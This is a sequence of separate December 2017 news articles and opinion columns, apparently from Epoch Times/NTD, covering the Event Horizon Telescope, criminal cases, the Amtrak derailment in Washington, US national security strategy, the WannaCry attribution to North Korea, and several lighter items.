The tool that will make this possible is the Event Horizon Telescope (EHT)which is actually not one, but a number of telescopes. The EHT includes radio telescopes in Arizona, Chile, Mexico, Spain, Hawaii ,and the South Pole.

By uniting the most advanced millimeter and submillimeter wavelength radio dishes across the globe, the Event Horizon Telescope creates a fundamentally new instrument with the greatest magnifying power ever achieved, said Harvard University researcher Shep Doeleman, who is leading the project.

Anchored by ALMA, the EHT will open a new window onto black hole research and bring into focus one of the only places in the Universe where Einsteins theories may break down: at the event horizon.

By combining the data from all these telescopes into a single image, the scientists are effectively creating a single radio-telescope as big as the Earth. This technique is called interferometry.

Which ought to be just about big enough to spot what they are hoping to see.

The black hole at the center of our galaxy, known as Sagittarius A, is estimated to be about 30 times the suns diameter and a staggering 4.3 million times the suns mass. But the center of the Galaxy is about 26,000 light years from Earth. Focusing on the black hole is comparable to using a telescope in New York City to look at a quarter someone is holding in Los Angelesand being able to read the date on the coin.

What the @ehtelescope expects to find in 2018  a silhouette in the glow of radiation at the center of the Milky Way Galaxy. Simulation by 2017 Jansky Fellow Kazunori Akiyama. pic.twitter.com/H0Nz6RRjj9  NRAO (@TheNRAO) December 15, 2017

Millimeter Resultion, Worldwide Data Collection

As tiny a speck as Sagittarius A might appear to be from Earth, seeing it should still be possible, because the telescopes in question can focus on wavelengths down to a millimeter.

For decades radio interferometry has been done at centimeter wavelengths using telescopes spread across continents, said Professor Brown. However, if you do the same observations at millimeter wavelengths then you can produce images with better resolution, and see (in silhouette) the black hole at the center of our galaxy.

A telescope using light could not hope to see through the swirling clouds of dust and gas surrounding the black hole, nor pierce the galactic debris floating through the intervening space. However, radio telescopes see much shorter wavelengths.

This video shows a simulation of a #blackhole as it would appear at different frequency/wavelength of light. Around 1 mm wavelength, the accretion disk becomes transparent and we can see the black hole silhouette, which is optimal for EHT observations. Credit: Chi-Kwan Chan pic.twitter.com/Pkztme7s4V  Event Horizon 'Scope (@ehtelescope) December 1, 2017

One nice thing about millimeter wavelengths is, compared to visible light, it is not greatly impacted by the interstellar dust between us and the center of the galaxy, Professor Brown explained. Basically the wavelength of the light is so much bigger than the dust particles that it travels past them.

The group of scientists Shep Doeleman leads has been working on the project for more than a decade. As the software has improved and the hardware has multipliedas more telescopes have joinedthe group is getting increasingly sharp images of the galaxys heart.

We have every expectation that we are just going to get fantastic data, said Dr. Avery Broderick, whose work on the project is supported by the Perimeter Institute for Theoretical Physics.

Thank you so much I will consider making an outreach video. Please check out a VR movie made by my student which shows how things look like around a black hole when an observer is very close to it. It is also fun. https://t.co/kinIFz4rBY  Monika Moscibrodzka (@mmosc_m) December 18, 2017

Reams of Data and Months of Calculating

The team has actually focused on two different black holes, one in the galaxys center and another, farther away, in the center of Galaxy Messier 87 (M87) While M87 is 53.5 million light-years from Earth, the galaxys central black hole is more than 2,000 times bigger than the Milky Ways, so it should be visible.

The team started gathering data in April and processing data all year. The data from the South Pole observatory was not collected until November. Each telescope produces so much data it cannot be uploaded and downloaded on the internet. The data storage units have to be physically retrieved and carried to one of the two processing sightsone at the Massachusetts Institute of Technologys Haystack Observatory VLBI correlator, and another in Germany.

Soon@M87 workshop: My simulation of the relativistic jet from the supermassive black hole in the core of M87 galaxy. pic.twitter.com/PCJZKRuyUP  Monika Moscibrodzka (@mmosc_m) May 20, 2016

Very Long Baseline Interferometry (VLBI) is the process of combining signals from different radio-telescopes to provide a single image. It is central to the EHT project. First tested successfully at the Atacama Large Millimeter/submillimeter Array (ALMA) and the APEX (Atacama Pathfinder Experiment) Telescope on Chiles Atacama Plateau in January 2015, the technique demands remarkable precision.

In order to coordinate all the data perfectly, the group had to install an incredibly precise atomic clock at ALMAs Array Operations Site, home to the observatorys supercomputing correlator. This upgrade, which happened in 2014, centers on a custom-built timepiece powered by a hydrogen maser which is ten times as precise as its predecessor, a rubidium-gas-powered modelwhich was incredibly precise to begin with.

From NTD.tv
Texas Man Pleads Guilty to Decapitating Wife

A 24-year old Texan on Dec. 15 pleaded guilty to murder after he was charged with stabbing his wife to death, cutting off her head, and putting it in his freezer.

David Dauzat admitted to killing 21-year-old Natasha Dauzat in their home in the 4300 block of Concord Road in Bellmead, Texas, in August 2016.

According to McLennan County Assistant District Attorney Michael Jarrett, Dauzat was sentenced to 52 years in state prison. He could be eligible for parole in 26 years.

Jarrett said Natashas family asked him to accept a plea deal rather than put the couples two children through the trial, and the gruesome testimony which would ensue.

They didnt want to put the children through a trial and have them relive those memories, Jarrett said.

The couples two children were in the house when the crime occurred. Allyssa, their daughter, had just had her third birthday, while their son, DJ, was a year old.

While this killer earned a lifetime behind bars, the health of the children who witnessed this terrible act had to be considered, said McLennan County District Attorney Abel Reyna. The family and medical professionals were adamant that these children could not relive this unspeakable horror in a trial. The family and District Attorney will work together to ensure this defendant spends each day of his next 52 years locked behind bars.

Police Visits

The police were dispatched to the couples home just hours before the fatal incident. They were responding to call from Dauzats brother at about 8:20 a.m. on Aug. 25, 2016.

The police said Dauzats brother was concerned about Davies well-being and wanted officers to locate and speak with Davie, police said in a press release.

An officer and a supervisor visited the Dauzat residence and spoke with both David and Natasha.

There was no indication from Natasha or Davie that either of them was in distress or in need of police intervention at that time. They both appeared calm and expressed their curiosity why the police were there, police said.

The brother called again and told police that Dauzat had told him, he killed his girlfriend.

Police returned to the trailer where the Dauzats lived and found David Dauzat covered in blood. Dauzat refused to surrender at first, but eventually gave himself up.

Inside the home, police found Natasha Dauzats headless body and the couples two children, aged one and two.

Psycho For Love: Davie Dauzat charged with killing his wife, Natasha Dauzat; Her head was https://t.co/CNaWlGHor4 pic.twitter.com/TKIe9iQenj  Bonnie Kernene (@mylifeofcrime) August 26, 2016

Friends Had Feared for Natashas Safety

Ruthie Bucher, a close friend of Natasha, had a daughter the same age as Natasha, and the two had grown up playing together. Bucher told Heavy.com she considered Natasha a second daughter.

Bucher also talked to Heavy.com about Natashas husband.

He used to physically and mentally abuse her, she said. She would come to our home to get away. She would have bruises, the last time I saw her she had a black eye.

While at my house, he would yell at her over the phone and if she heard my son or husbands [voice], he would accuse her of having an affair, Bucher continued.

He would want to know who was at my house and say mean things to her. If she didnt answer, he would not stop calling leaving mean messages.

Bucher said Natasha was afraid to leave him. I feel like he would hunt her down if she would leave, she said. I mean, for goodness sake, she wasnt allowed to even leave the house without him bugging her, even when he was at work.

From NTD.tv
Trade, China, and Consequences

Canadas Prime Minister Justin Trudeau concluded a visit to China recently, but it failed to launch anticipated negotiations for a Free Trade Agreement (FTA). This appeared to result in part from his voicing of the Canadian commitment to the rule of law, a clean environment, media freedom, gender equality, and our Charter of Rights and Freedoms.

Canadians who understand Chinas economy were much relieved by the turn of events. Jonathan Manthorpe of Vancouver has described Beijing state capitalism as a variation of a Ponzi scheme: A local government without a functioning system for raising tax revenue and riddled with corruption sells development land to garner cash (first getting rid of farmers living on the land)the municipality has the power to instruct banks to lend the development company the money for the sale. So the local government gets its cash, the municipally-owned company gets to build a speculative residential or industrial complex, and all seems well.

Read More Trade and the China Challenge

In 2008, New Zealand became the first advanced economy to enter into a FTA with China. Currently, Professor Anne-Marie Brady of the University of Canterbury in N.Z., a Mandarin speaker and expert on China, is urging her government to draft new laws to protect New Zealanders from Chinas covert, corrupting  coercive political influence activities (which) are now at a critical levelChinas efforts undermine the integrity of our political system, threaten our sovereignty, and directly affect the rights of Chinese New Zealanders to freedom of speech, association, and religion.

The China-Australia FTA came into effect in 2015. By last June, Beijings meddling in Australias politics was so pronounced that an investigative report, Power and Influence, was published on the threat to Australian sovereignty. Prime Minister Malcolm Turnbull moved a week or so ago to ban foreign political donations, citing disturbing reports about Chinese influence on Australian politics.

Media pressure appears to have caused the recent resignation of Australian senator Sam Dastyari, who has close ties with a wealthy Chinese donor and had taken positions favouring the party-state. He was also reported to have sought unsuccessfully to pressure his partys deputy leader not to meet a Hong Kong pro-democracy activist.

This pattern differs little elsewhere. In Europe, for example, Germanys spy agency, the Office for the Protection of the Constitution (BfV), reported that Beijing is using fake social media profiles seeking to infiltrate German politics and business. The BfV reported that nine months of research indicated that more than 10,000 German citizens had been contacted via LinkedIn by Chinese spies using fake profiles posing as consultants, head hunters, and scholars.

Many governments are troubled by a range of other problems resulting from any FTA signed with Beijing: their absence of rule of law and independent courts; restrictions on foreign enterprises operating within China; job losses and wage decreases for workers at home; lack of intellectual property protection; and above all crony capitalism/Leninist governance.

The Australian government in 2005 adopted a positive engagement approach on human rights abuses in its FTA negotiations. At the time, civil society was gradually developing in China with a rights movements and NGOs developing. Unfortunately, a crackdown on the media, spiritual communities, civil rights movements and the internet was re-launched in recent years, decimating the ranks of human rights lawyers and advocates.

Beijings record in keeping undertakings and respecting international agreements has waned in recent years. Last June, it declared that the joint declaration with Britain over Hong Kong was a historical document with no practical significance. It then re-interpreted Hong Kongs Basic Law to disqualify elected pro-democracy legislators. It rejected in 2016 a ruling against itself in a case over disputed waters in the South China Sea when an international tribunal in The Hague came down in favor of claims by the Philippines.

Governments and citizens in Europe, Africa, and Asia are already being subjected to the long arms of Beijing. Canadians are not alone in fearing that any FTA with Beijing would jeopardize our core national values, including democracy, human rights, and the rule of law.

Party-state tactics used in New Zealand and Australia, moreover, are already appearing in Canada. The Globe and Mail reports that since 2006 Canadian MPs and senators took 36 trips to China sponsored by the Chinese government or groups seeking business with Beijing.

The Trudeau government should instead focus to expand trade and investment vigorously elsewhere across the world, including Asia, especially with its rule-of-law democracies such as India, Japan, South Korea, and Taiwan.

David Kilgour, a lawyer by profession, served in Canadas House of Commons for almost 27 years. In Jean Chretiens Cabinet, he was secretary of state (Africa and Latin America) and secretary of state (Asia-Pacific). He is the author of several books and co-author with David Matas of Bloody Harvest: The Killing of Falun Gong for Their Organs.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
The scene where an Amtrak passenger train derailed on a bridge over interstate highway I-5 in DuPont, Washington, U.S. December 18, 2017. (REUTERS/Steve Dipaola)

Train Was Travelling 80mph in 30mph Zone Before Deadly Crash

The train that derailed on an overpass in Washington state on Monday was taking a corner at more than twice the speed limit when the passenger cars careened off the track onto a road below, killing at least three people.

In addition to the three fatalities, about 100 people were taken to nearby hospitals, of whom 10 had serious injuries, according to local authorities.

A federal safety official said late Monday that the Amtrak train was traveling 80 miles (130 km) per hour in a 30 mile-per-hour zone.

Multiple news outlets initially reported a figure of six fatalities from the crash on Dec. 18, citing unnamed officials. That figure could rise, however, given the number of critically injured victims.

Amtrak said there were 86 people aboard the train, including 80 passengers, five Amtrak crew members, and one Talgo technician. The corporation issued a statement with details on the incident and expressed regret for the loss of life and injuries due to the derailment.

A map of the derailment site. (Reuters)

A data recorder recovered from the trains rear locomotive indicated the speed at which it went off the tracks, Bella Dinh-Zarr, spokeswoman with the U.S. National Transportation Safety Board, told a news conference.

Dinh-Zarr told reporters that the agencys investigation is at an early stage and no conclusive information is available about the reason for the derailing.

We are not determining probable cause of this accident, nor will we speculate about what may have caused the accident, the spokeswoman said.

The train was on its inaugural run on a faster route from Seattle to Portland, Oregon, when 13 of its 14 cars jumped the tracks around 7:30 a.m. local time and tumbled onto a major highway near the town of DuPont, Washington.

Five vehicles and two trucks were involved in the accident, and the highway was littered with fragments of the bridge and tree branches.

Injuries were reported among several motorists, authorities said, but no fatalities.

Multiple cars and trucks were struck by train cars that left the train tracks and went down onto the road, Pierce County Sheriffs Office spokesman Ed Troyer told reporters, according to the Independent.

The people that were in the vehicles, even though when you see the pictures its pretty horrific, at this point nobody in any of the vehicles is a fatal. The fatals are all contained to the train.

An additional 77 people were transported to hospitals in Pierce and Thurston counties, the Tacoma-based CHI Franciscan Health healthcare network said in a statement. Four of them were considered level red patients with the most severe injuries.

Emergency crews faced the dangerous task of entering and searching train cars that were suspended in mid-air, Jay Sumerlin of West Pierce Fire and Rescue told reporters, according to the Independent. Firefighters used jaws of life and saws to gain access to advance their search for casualties in the wreckage.

It took a lot of extrication tools, Mr Sumerlin told reporters. It wasnt easy for firefighters to get through.

Sumerlin said that by late afternoon Monday, emergency crews had searched the entire train.

Passenger Chris Karnes described the dramatic scenes he witnessed to news outlet KIRO 7, saying that people escaped the derailed train by kicking out windows.

All of a sudden, we felt this rocking and creaking noise, and it felt like we were heading down a hill, Karnes said. The next thing we know, were being slammed into the front of our seats, windows are breaking, we stop, and theres water gushing out of the train. People were screaming.

The derailment occurred on the first day Amtrak trains began using a new inland route between the cities of Tacoma and Olympia, part of a project to reduce travel time, according to an October news release from the states transportation department.

The rerouting takes trains along Interstate 5, eliminating a major choke point for passenger trains in Tacoma and allowing trains to reach speeds of 79 miles per hour, the department has said.

Mondays train, which had been scheduled to depart Seattle at 6 a.m. for Portland, Oregon, was the first to run along the new route, which uses tracks owned by a local commuter line.

It was not immediately clear whether the derailment, which came during a busy travel time one week before the Christmas holiday, was connected to the rerouting.

The train derailed at 7:34 a.m. in DuPont. A photograph posted by a Washington State Police spokeswoman showed an upside-down train car partially crushed on the highway, with a second car dangling off the overpass.

Authorities warned drivers to avoid the area, and southbound lanes remained closed.

The National Transportation Safety Board was sending a team of investigators to the site, the federal agency said on Twitter.

Amtraks co-chief executive, Richard Anderson, earlier said that positive train control (PTC), a system that automatically slows trains if they are going too fast, was not installed on the new stretch of track.

By law, PTC must be installed on all passenger rail systems by 2018, a deadline that has repeatedly been delayed after rail agencies said implementation was more complicated than anticipated. Sound Transit commuter line, which owns the track, reported in September that it did not yet have PTC in operation.

President Donald Trump said the crash illustrated the need for infrastructure improvements.



The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!  Donald J. Trump (@realDonaldTrump) December 18, 2017

My thoughts and prayers are with everyone involved in the train accident in DuPont, Washington. Thank you to all of our wonderful First Responders who are on the scene. We are currently monitoring here at the White House.  Donald J. Trump (@realDonaldTrump) December 18, 2017

Thank you to the first responders on the scene, Washington Governor Jay Inslee wrote in a Twitter message. Were praying for everyone on board the train, and ask everyone to hold them in your thoughts.

The mayor of one of the towns through which the rerouted trains travel warned earlier this month that the high-speed trains were dangerously close to cars and pedestrians.

Come back when there is that accident, and try to justify not putting in those safety enhancements, or you can go back now and advocate for the money to do it, because this project was never needed and endangers our citizens, Lakewood Mayor Don Anderson told transportation officials in early December, according to Seattles KOMO News.

Hours after the crash, train cars remained dangling from the overpass, with others strewn across I-5, a major West Coast route stretching from the Canadian to Mexican borders.

Cranes were brought in to remove the carriages.

It was just a scene of chaos and piles of twisted metal, said Ted Danek, administrator for the city of Dupont who visited the site.

The derailment was Amtraks second in Washington state this year. On July 2, a southbound train with more than 250 people aboard derailed in the town of Steilacoom, just a few miles north of Mondays accident. No serious injuries were reported.

Reuters and Ivan Petchoukov of NTD contributed to this report.
U.S. President Donald Trump delivers a speech at the Ronald Reagan Building Dec. 18, 2017 in Washington, DC. The president unveiled a new national security strategy document on the same day that aims to outline major national security concerns and the administration's plans to deal with them. (Mark Wilson/Getty Images)

Trump Redefines Americas Approach to National Security

President builds on principled realism, American values, and prosperity to counter revisionist powers

WASHINGTONU.S. President Donald Trump unveiled a new national security strategy on Monday in which he laid out the case for preparing the country to confront the revisionist powers of Russia and China that are challenging the United States and its allies. China and its aggressive rise received particular attention, a challenge that the document describes as a competition between the free and repressive visions of world order.

Under the Goldwater-Nichols Act of 1986, the President is legally obligated to submit a report on the U.S. national security strategy to Congress each year. In recent years however, such reports have been made late or not at all. The Obama administration produced just two strategy documents (in 2010 and 2015, respectively) throughout eight years of his presidency.

With just 11 months into office, Trumps unveiling of the first strategy document sends the signal that his administration seeks to demonstrate greater commitment on national security matters. The strategy document is often viewed as an indication for how an administration views Americas role in the world, and also points out the future direction of U.S. diplomatic and military leadership.

In contrast to strategy documents of the previous Obama administration, Trump focuses heavily on advancing United States position in competitions with those that it identifies as strategic rivals.

Trumps strategy also promises that the United States will increase quadrilateral cooperation with Japan, Australia, and India.

The document lays out three main sets of rivals actively competing against the United States and its alliesthe revisionist powers of China and Russia, the rogue states of Iran and North Korea, and transnational threat organizations, particularly jihadist terrorist groups.

China and Russia began to reassert their influence regionally and globally, the document says, In short, they are contesting our geopolitical advantages and trying to change the international order in their favor.

It is clear however that China received the most attention in Trumps first formal formulation of his foreign policy concerns and priorities which is mentioned 23 times, compared to Russias 17.

The document says that the old U.S. policy was rooted in the belief that American support for Chinas rise and its integration into international order would liberalize China. Contrary to such hopes, the document says that China has expanded its power at the expense of the sovereignty of others, and that it is actively seeking to displace the United States in the Indo-Pacific region.

In response to the challenges posed by China, Trumps strategy calls for a redoubling of commitment to existing alliances and partnerships while building new relationships.

The strategy document promises that Trumps vision for the Indo-Pacific excludes no nation. Of particular note, Taiwan is mentioned prominently in the discussion on military and security in the Indo-Pacific section, to which it says that United States will provide for Taiwans legitimate defense needs and deter coercion in accordance with Taiwan Relations Act.

In comparison, Taiwan was only mentioned once in Obamas 2010 strategy document as a side note, and was completely omitted in the 2015 document.

Trumps strategy also promises that United States will increase quadrilateral cooperation with Japan, Australia, and India. The hypothetical alliance of the four democracies  known as the Quadrilateral Security Dialogue or Quad, was briefly pitched by Japanese Prime Minister Shinzo Abe in 2007 but dropped after China protested. The re-emergence of the idea could indicate the Trump administrations willingness to formally form the alliance despite the expected backlash from China.

Trumps new strategy document has four main organizing principles: protecting the American homeland, protecting American prosperity, preserving peace through strength, and advancing U.S. influence.

Although largely focused on China, the strategy document also reiterates many of Trumps established plans in dealing with threats from North Korea and elsewhere, such as a layered missile defense system and also tightened border security to mitigate threats posed by terrorism.
Two Daycare Workers Charged with Injuring Five Toddlers with Hot Glue Gun

Two women have been arrested for allegations of burning several toddlers with a hot glue gun at a Chicago daycare which was reportedly caught on camera earlier this month.

Lizandra Cosme, of the Humboldt Park neighborhood, was arrested on Sunday, Dec. 17 and charged with five counts of aggravated battery of a child under 13 years old causing great bodily harm, reported the Chicago Sun Times, citing police.

The 32-year-old woman caused injury to three girls and two boys, all of whom are 2 years old, on Dec. 1, at the Childrens Learning Place in the 3100 block of West Fullerton, according to police. It was not clear how badly the children were hurt.

Another woman, Susana D. Gonzalez, 27, of Melrose Park was charged with five misdemeanor counts of causing the circumstances of child endangerment, reported the newspaper.

Both women were daycare workers at Childrens Learning Place on the Northwest Side.

The well-being of our students is paramount, Lissa Druss Christman, a spokeswoman for the daycare, told Chicago Sun Times.

Upon learning of the alleged incident, we notified DCFS immediately and terminated two of our employees. We are currently working with investigators, Christman added.

Illinois Department of Children and Family Services spokeswoman Alissandra Calderon said they are investigating allegations of abuse by a daycare worker.

Cosme was refused bail on Dec. 18, byJudge John Fitzgerald Lyke Jr. She will be back in court on Dec. 26, reported the Chicago Tribune.

From NTD.tv
Gary Grant, owner of U.K. toy store The Entertainer in a video uploaded to the company's Youtube on Aug. 3, 2016. (Screenshot via The Entertainer/Youtube)

UK Toy Store Forgoes Profit by Closing on Christmas Eve so Employees Can Take Sunday Off

A U.K.-based toy store is set to lose millions this holiday season by closing on one of the busiest shopping days of the yearChristmas Eve.

The stores Christian owner has committed to giving his staff Sundays off, even if it costs the store an estimated 2.3million ($3 million).

The Entertainer is closed on Sundays so our staff can spend time with their families. This means we will be closed this Christmas Eve, the store posted on Facebook Saturday, Dec. 16.

We support the Keep Sunday Special campaign. Have a wonderful weekend.

Owner Gary Grant founded the store with his wife Catherine in 1981, and they now have 146 stores in the U.K. and 14 franchises in other countries, according to a December press release. The company employs over 1,500 people in total.

We are a values driven, family business with amazing people working in our teams. We sell fun products but we work hard, the store says in its About Us section on the website.

Keeping the Sabbath holy is one of the Ten Commandments, Grant said, according to the Mirror.

As a Christian, I believe in families.  For our staff, the fact they have a day off with the family on a Sunday is really important.

The companys mission, according to its website, is to be the best-loved toyshopone child, one community at a time.

It prides itself on donating to childrens organizations, and matching donations its employees make to charity.

There was a time when the company wasnt always this value-focused, however.

In a video posted to the stores Youtube account, Gary said he and his wife bought a toy store that had gone on the market in Amersham, Buckinghamshire, purely as a business investment.

Catherine had always been a churchgoer, but it wasnt until shortly after they opened the store that she absolutely saw it, she said. And I really felt the spirit, and it was just like, nothing was ever the same.

As Catherine moved more into her faith, she and Gary lived in increasingly different realities. Catherines one wish for her husband was that he would find God, but never in a million years did I believe he actually would, she said.

When they were about to open their third store in 1991, Catherine got Gary a ticket to a Christian mens breakfast at her church. At the breakfast, he heard a speaker who brought him to tears, and in his words, God just got me.

This changed everything, especially how they ran their business, Catherine said.

They re-thought about what they were putting on store shelves, the hours their employees worked, and even whether they would allow vulgar language in the warehouse.

It completely changed the way I approached business, Gary said.

Taking Sundays off, no matter how big a profit they could lose, was one of the ways they chose to live their faith.

From NTD.tv
Fresh Corn Season Might Be Over, but You Can Still Have Delicious Cornbread Using Frozen Corn
Jeanette Manfra, chief of cybersecurity for the Department of Homeland Security, speaks to reporters on the WannaCry cyberattack earlier this year, as Tom Bossert, White House homeland security advisor listens at the White House in Washington, DC, on Dec. 19, 2017. The widespread attack, which plagued multiple industries in at least 150 countries and cost billions of dollars, was blamed squarely on North Korea by Bossert. (Mark Wilson/Getty Images)

US Names North Korea Cyber Attacker in WannaCry Attack

The United States is calling out North Korea for the WannaCry malware attack that infected 230,000 computers in 150 countriesan attack made more disturbing because the attack was aimed at inflicting maximum damage, rather than making money.

However, the attack may have marked a turning point in how the U.S. government deals with threats and is a defining moment in the battle against cyber attacks, said a White House official.

The malware demanded victims pay a bitcoin ransom to regain access to data it locked away on their computer. But those that paid never regained access, news of which quickly spread across the infected community and kept monies from flowing to North Korea.

This was a careless and reckless attack, President Donald Trumps homeland security and counterterrorism assistant Thomas P. Bossert.

The attack revealed several problems, not the least of which was the previous U.S. government tendency to uncover cyber threats and then keep them secret so they could use those same exploits for their own offensive efforts.

Trump changed that policy, marking a new transparent process that is winning support from industry and the American Civil Liberties Union.

That change is part of a broader effort to improve the overall security and stability of the internet, a challenge that requires cooperation between government and industry and demands businesses take more responsibility for the security of their products and systems.

One of the goals is to increase the cost to hackers, said Bossert.

Wannacry is a textbook example of what needs fixing. The vulnerability was uncovered by the United States under the Obama administration but the NSA kept the exploit secret for its own offensive work rather than report it to Microsoft.

Fortunately, security researcher Marcus Hutchins uncovered a kill switch in the program and activated it, thereby rendering much of the virus inactive. Bossert said that kind of luck cant be counted on in the future.

I call today and the President calls today on the private sector to increase its accountability in the cyber realm by taking actions that deny North Korea and the bad actors the ability to launch reckless and destructive cyber acts, he said.

The United States escaped the worst of WannaCry, an outcome that Jeanette Manfra, the chief cybersecurity official for the Department of Homeland Security, credited to a determined U.S. effort to deal with cybersecurity.

In many ways, WannaCry was a defining moment and an inspiring one. It demonstrated the tireless commitment of our industry partners, a moment that showed how the government and private sector got it right.

Investments in cybersecurity paid off, she said, but the overall problem shows no signs of abating.

Nation states and hackers are increasing both the sophistication and quantity of attacks. The perpetrators are a familiar mix of rogue regimes, terrorist groups, and criminal organizations.

These are the same adversaries we have faced in the past, they are just now operating in a different space. Manfra said.

The scale of the problem tips the odds against the defenders by a wide margin. And too often, security is a bolted on after-market patch, said Manfra.

Cyber-attackers can roll out their attack over and over again, hitting computer after computer until they find someone that has left their system out of date or falls for a common ploy.

We can take small tangible actions to make the cyber ecosystem safer, said Manfra, Our goal is a cyber environment where a given threat, such as a malicious email, can only be used once before it is blocked by all other potential victims.
Ive always loved to travel. Each trip reminds me that there are so many different perceptions, ideas, and customs that exist outside my small existence.

In June, I traveled to Amsterdam for an acupuncture seminar. Before and after the work days, I got to indulge in one of my favorite pastimes: walking the city streets, with no destination and no particular goal. I was just wandering in a historical European city.

Amsterdam is an amazing place to indulge in walking because so many of the streets are bordered by beautiful canals. I was in awe of the numerous small bridges connecting the streets, the boats heading to destinations unknown, and the famous houseboats that line the canals. There is nothing like this in the United States.

I walked so many hours during this trip that my feet were sore in the evenings. Wandering in a beautiful foreign city, seeing places for the first time and finding a delicious cafe (like Lavinia Good Food, a hidden delight), is heavenly.

My phone only worked when I had Wi-Fi, so I was often disconnected from the web. I resolved to never wear my headphones, so I was not distracted from the new sights and sounds that surrounded me. This, plus the hours of walking, created a lot of time to think, and I realized something new: I felt present, and it was glorious.

Being mindful of my surroundings amplified the moment, and I was more aware of what was around me as well as what I was feeling inside. Im sure this has been true before, but I never felt so acutely aware of that experience as on this trip. Every time I stepped out the door, some new adventure awaited me; I felt excited and I didnt want to miss a moment.

Be present is a huge theme in most philosophies. All you have is now is a familiar phrase. And, so often, now is lost in worries or memories of the past, and dreams or fears for the future. Time is a path in only one direction; if you miss today, its not coming back.

If youre mindful of yourself and your surroundings, its easier to focus on the moment rather than all those external stressors life throws our way.

Being present is something that isnt easy, at least not for me and, I believe, for many others. This is why I was happy that it came so easily as I explored the beauty of Amsterdam.

Ive often resolved to be present in a situation or place, only to find the resolve stolen away by a thought that takes over. I go down the path with that thought or feeling, and then, poof! The now is gone.

I suspect that it was traveling that enabled me to be more present. When Im in another country, I know my time is limited. That helps me to recognize the value of each day and each experience. However, as I write this, I realize that all time is limited, so its important to appreciate the less exciting moments as well. I am practicing to get better.

Jennifer Dubowsky is a licensed acupuncturist with a practice in downtown Chicago, Illinois, since 2002. You can find her at TCM007.com
Woman Gets 5 Years in Prison for Firing Guns, Posting It on Snapchat

A woman was sentenced to five years in prison for firing guns in Houston before posting the video on Snapchat.

Sierra Tarbutton and Michael Money Mike Cuellar allegedly fired guns while riding down Houstons Memorial Drive in September, ABC13 reported.

#TwitterNewsChat Houston woman pleads guilty in shooting caught on Snapchat  A Houston woman pleaded guilty to shooting a gun from a moving vehicle in a now-viral Snapchat video Sierra Tarbutton, 27, pleaded guilty to felony criminal mischief and dea https://t.co/jFzP2YPuDI  Social Media Corresp (@smcorrespondent) December 19, 2017

#Houston Rapper Michael Anthony Cuellar, & Sierra Tarbutton charged after shooting at homes, posting it on Snapchathttps://t.co/yXEkp8G4ab pic.twitter.com/4NvB4TQDOO  ?????????? (@RavenHUWolf) October 5, 2017

For the stunt, Tarbutton got five years in prison.

Sierra Tarbutton, 27, pleaded guilty to deadly conduct as well as criminal mischief before she was sentenced, Click2Houston reported. She provided yes and no answers to the judges questions.

She admitted to firing a semi-automatic weapon out of a car window as she and Cuellar drove down the road.

Local media outlets dubbed the pair the Snapchat shooters.

A judge granted Tarbutton her request to spend Christmas with her family. She doesnt have to turn herself into officials until January 2, 2018, the report said.

A judge warned her that if she doesnt come in, authorities will come looking for her.

There were some abandoned buildings that were alleged to have been shot at, thats what Ive heard, said her attorney during the time of her arrest, KHOU reported.

I think deadly conduct is overblown.

Cuellar was described as a local drug dealer and rapper, KHOU reported.

Tarbutton also allegedly threatened a public servant in the past.

Michael Anthony Cuellar"Money Mike" y Sierra Tarbutton are in custody they're the people in the shooting video that went viral in Snapchat pic.twitter.com/N24Eca7n2s  Deysy Rios (@deysyreportera) October 3, 2017

Sierra Tarbutton, now convicted Snapchat shooter, plead guilty in court. She will serve 5 years behind bars. She has to turn herself in Jan 2nd. @KPRC2 pic.twitter.com/upjCORzqq5  Sofia Ojeda (@KPRCSofiaOjeda) December 19, 2017

A judge declined to set bond for 27 year old Sierra Tarbutton for now because she is still dealing with previous charges. #abc13 pic.twitter.com/UQg5oVgsm1  Pooja Lodhia (@PoojaOnTV) October 2, 2017
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Phuket New Year road-safety campaign to target drunk drivers, helmetless motorbike riders

PHUKET: The Phuket Governor has ordered police to strictly enforce the law against drunk drivers and motorcyclists not wearing helmets during the upcoming New Year Seven Days of Danger road safety campaign, this year to be held from Dec 28 to Jan 3.

transportaccidentspolicetourism

By The Phuket News

Tuesday 19 December 2017, 11:03AM

Police have been ordered to target drunk drivers and motorcyclists not wearing helmets during the upcoming New Year Seven Days of Danger road safety campaign. Photo: The Phuket News / file

Governor Norraphat Plodthong has also ordered officials to specifically keep an eye out for unlicensed drivers and to conduct vehicle checks, presumably for safety and illegalities, and to ensure motorists obey traffic rules.

The mandate was handed down at a meeting at Phuket Provincial Hall yesterday (Dec 18), attended by Vice Governor Governor Snith Sriwihok and the heads of the main government offices on the island, and police.

The order to target drunk drivers and specifically target motorcyclists not wearing helmets in Phuket comes as police in Bangkok warn that officers in the capital will seize motorbikes of helmetless riders until it is proved that the rider has one. (See story here.)

This year the New Year Seven Days road-safety campaign will be conducted under the theme Khab Rod Mee Namjai Raksa Winai Jarajorn (Drive carefully, follow traffic rules).

Many tourists visit Phuket tourist destinations during the New Year long holiday, such as beaches and islands. Many more accidents happen than in normal periods, Gov Norraphat reminded the collection of high-powered officials.

Gov Norraphat also reminded the law enforcers that the road-safety campaign is designed on six main principles, albeit the principles are actually elements to focus on.

We use six main principles of road and marine accident decreasing which are decreasing risk factors of people, environment and vehicles, tourist safety, marine safety and after accidents treatment, Gov Norraphat said.

Gov Norraphat also mentioned that boat safety was important during the upcoming holidays.

People should be careful when getting on and off a boat. Do not drink alcohol until you are out of control. Please wear a life jacket and follow the rules, Gov Norraphat urged.

If any marine accidents did occur, Gov Norraphat noted, please inform the Phuket Marine Office at 076-391174 or the Vessel Traffic Management and Information System at Chalong Pier at 088-7603754.
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Apotex Inc., the Toronto-based pharmaceutical company that employs more than 6,000 people across Canada and 11,000 worldwide, faces challenges on a number of fronts as the firm and its employees grapple with the sudden death of Barry Sherman, its founder and chair.

The generic drug-maker, the largest Canadian-owned pharmaceutical company with an estimated $1.6 billion in 2016 sales, said Tuesday that its sole preoccupation is with navigating through a very difficult loss. Sherman, 75, and his wife, Honey, 70, were found dead in their North York home just before noon Friday. A police investigation into the cause of the deaths continues.

Our focus right now is on supporting our employees and the Sherman family through this terrible tragedy, said spokesman Jordan Berman, suggesting any other discussions would take place in due course and at the appropriate time.

The most pressing issue might be one of leadership.

